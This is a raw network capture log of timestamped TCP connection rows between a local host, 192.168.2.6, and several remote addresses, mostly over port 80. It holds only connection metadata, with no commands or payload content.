Nov 24, 2024 04:20:50.394635916 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.395355940 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.395402908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.395417929 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.395462990 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.396194935 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.396277905 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.396291971 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.396359921 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.396992922 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.397093058 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.397361040 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.397818089 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.397886038 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.397911072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.397953033 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.398694038 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.398747921 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.398768902 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.398811102 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.399456978 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.399564981 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.399617910 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.400280952 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.400336027 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.400373936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.400418997 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.401056051 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.401108027 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.401212931 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.401921034 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.401974916 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.402019024 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.402059078 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.402771950 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.402817965 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.402864933 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.402924061 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.403532982 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.403594971 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.403646946 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.403696060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.404308081 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.404382944 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.474834919 CET	443	49901	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:50.474915028 CET	49901	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:50.474927902 CET	443	49901	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:50.474982977 CET	49901	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:50.475069046 CET	49901	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:50.475095034 CET	443	49901	150.171.27.10	192.168.2.6
Nov 24, 2024 04:20:50.475104094 CET	49901	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:50.475168943 CET	49901	443	192.168.2.6	150.171.27.10
Nov 24, 2024 04:20:50.581021070 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.581089020 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.581240892 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.581294060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.581406116 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.581453085 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.581509113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.581557989 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.582204103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.582215071 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.582297087 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.582990885 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.583048105 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.583086967 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.583125114 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.583823919 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.583848000 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.583873987 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.583892107 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.584604025 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.584722042 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.584733009 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.584765911 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.585441113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.585539103 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.585563898 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.585606098 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.586249113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.586292982 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.586368084 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.586416960 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.587101936 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.587112904 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.587156057 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.587927103 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.587975025 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.587982893 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.588028908 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.588686943 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.588736057 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.588787079 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.588862896 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.589504957 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.589590073 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.589617968 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.589659929 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.590317965 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.590368986 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.590454102 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.590585947 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.591141939 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.591191053 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.591201067 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.591245890 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.591945887 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.591995001 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.592062950 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.592107058 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.592788935 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.592849016 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.592875004 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.592914104 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.593584061 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.593638897 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.593684912 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.593831062 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.594477892 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.594522953 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.594547987 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.594595909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.595211983 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.595259905 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.595343113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.595391989 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.596050024 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.596168995 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.596224070 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.596831083 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.596874952 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.596961021 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.597018957 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.597718954 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.597769976 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.597803116 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.597913027 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.598499060 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.598543882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.598619938 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.598707914 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.599339962 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.599389076 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.599455118 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.599495888 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.600136995 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.600187063 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.600248098 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.600290060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.600975990 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.601012945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.601037979 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.601056099 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.601783991 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.601831913 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.601922035 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.601964951 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.602616072 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.602663040 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.602686882 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.602745056 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.603439093 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.603492022 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.603492975 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.603530884 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.604239941 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.604325056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.604373932 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.605046988 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.605094910 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.605130911 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.605173111 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.605871916 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.605916977 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.605926037 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.605993032 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.606677055 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.606726885 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.606777906 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.606817961 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.607532978 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.607543945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.607594013 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.608321905 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.608376980 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.608414888 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.608453989 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.609144926 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.609200954 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.609266043 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.609303951 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.609961033 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.610013008 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.610054970 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.610095978 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.610800982 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.610811949 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.610851049 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.611639977 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.611680031 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.611691952 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.611713886 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.612420082 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.612478018 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.612504959 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.612540960 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.613219023 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.613280058 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.613306999 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.613347054 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.614041090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.614130974 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.614145994 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.614182949 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.614882946 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.614928007 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.614931107 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.614970922 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.615700960 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.615758896 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.615812063 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.615883112 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.616496086 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.616537094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.616584063 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.617346048 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.617495060 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.617553949 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.618328094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.618339062 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.618388891 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.618956089 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.618967056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.619015932 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.619904041 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.619961977 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.619992971 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.620031118 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.620680094 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.620735884 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.620771885 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.620815039 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.621437073 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.621489048 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.621555090 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.621613979 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.622262955 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.622276068 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.622307062 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.622323990 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.623071909 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.623147011 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.623195887 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.623892069 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.623964071 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.649350882 CET	49912	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.649399996 CET	443	49912	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.649465084 CET	49912	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.649527073 CET	49913	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.649585962 CET	443	49913	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.649668932 CET	49913	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.649826050 CET	49914	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.649836063 CET	443	49914	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.649955988 CET	49915	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.649965048 CET	443	49915	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.649980068 CET	49914	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.650032997 CET	49915	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.650126934 CET	49916	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.650160074 CET	443	49916	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.650235891 CET	49917	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.650254965 CET	49916	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.650273085 CET	443	49917	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.650413036 CET	49917	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.650513887 CET	49912	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.650532007 CET	443	49912	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.650662899 CET	49913	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.650676966 CET	443	49913	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.650795937 CET	49915	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.650808096 CET	443	49915	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.650933981 CET	49914	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.650949001 CET	443	49914	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.651146889 CET	49916	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.651161909 CET	443	49916	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.651267052 CET	49917	443	192.168.2.6	13.107.246.40
Nov 24, 2024 04:20:50.651279926 CET	443	49917	13.107.246.40	192.168.2.6
Nov 24, 2024 04:20:50.715630054 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.715661049 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.715667963 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.715712070 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.715743065 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.715744019 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:50.715754986 CET	443	49904	23.209.72.39	192.168.2.6
Nov 24, 2024 04:20:50.715784073 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:50.715784073 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:50.715821028 CET	49904	443	192.168.2.6	23.209.72.39
Nov 24, 2024 04:20:50.791291952 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.791425943 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.791500092 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.791500092 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.791708946 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.791728020 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.791758060 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.791774035 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.792495966 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.792557001 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.792634964 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.792682886 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.793308020 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.793376923 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.793409109 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.793457031 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.794114113 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.794178963 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.794222116 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.794358969 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.794945955 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.795069933 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.795187950 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.795238018 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.795752048 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.795888901 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.795953035 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.796591997 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.796611071 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.796653032 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.797405958 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.797456026 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.797538042 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.797799110 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.798203945 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.798249006 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.798252106 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.798297882 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.799034119 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.799089909 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.799128056 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.799176931 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.799886942 CET	80	49835	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:50.799936056 CET	49835	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:50.799962044 CET	80	49835	185.215.113.206	192.168.2.6
